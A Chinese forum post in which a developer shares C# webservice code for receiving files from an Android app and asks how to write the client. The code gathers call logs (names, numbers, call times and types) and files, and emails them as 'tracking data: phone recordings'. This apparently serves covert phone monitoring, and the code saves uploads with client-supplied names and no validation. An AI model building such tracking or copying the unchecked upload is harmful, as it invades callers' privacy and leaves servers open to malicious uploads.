android调用webservice上传文件的问题

dmz71991 dmz71991 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区
我在webservice里写了一个方法来让android上传文件,上传文件模仿的是html的input type=file。
System.Collections.Generic.List<string> filePaths = new System.Collections.Generic.List<string>();
System.Web.HttpFileCollection files = base.Request.Files;
if (files.Count > 0)
{
string basePatn = base.GetBasePath() + "MyDown\\";
IOHelper.ExistDirectory(basePatn, true);
string[] files2 = System.IO.Directory.GetFiles(basePatn);
for (int k = 0; k < files2.Length; k++)
{
string path = files2[k];
if (path.IndexOf(serial + "_") > -1)
{
System.IO.File.Delete(path);
}
}
for (int j = 0; j < files.Count; j++)
{
System.Web.HttpPostedFile file = files[j];
string filePath = basePatn + serial + "_" + System.IO.Path.GetFileName(file.FileName);
if (System.IO.File.Exists(filePath))
{
filePath = string.Concat(new object[]
{
filePath.Substring(0, filePath.LastIndexOf(".")),
"(",
System.DateTime.Now.Ticks,
")",
filePath.Substring(filePath.LastIndexOf("."))
});
}
filePaths.Add(filePath);
file.SaveAs(filePath);
}
System.Text.StringBuilder sb = new System.Text.StringBuilder();
if (!string.IsNullOrEmpty(content))
{
string[] cts = content.Replace(this.split, "|").Split(new char[]
{
'|'
});
if (cts.Length > 0)
{
for (int j = 0; j < cts.Length; j++)
{
string[] ar = cts[j].Replace("-/*", "|").Split(new char[]
{
'|'
});
int type = 100;
try
{
type = int.Parse(ar[4]);
}
catch (System.Exception)
{
}
sb.AppendFormat(tpl, new object[]
{
ar[0],//名称
ar[1],//号码
ar[2],//类型
ar[3],//通话时间
(type == 1) ? "来电" : ((type == 2) ? "去电" : ((type == 3) ? "未接" : "")),
(type == 1 || type == 2 || type == 3) ? "" : "none"
});
}
}
}
this.email.Send(phoneSerial, i.FReceiveEmail, "跟踪数据:电话录音", sb.ToString(), filePaths);
result = "OK";
}
这是接收文件部分的代码 请问是否有错? android端应该如何写?
网上的都是上传图片的 我需要的是上传任何文件的。
...全文

相关推荐

评论 6
收藏 已收藏
分享
返回顶部
dmz71991
Java 51,407 成员 86,128 内容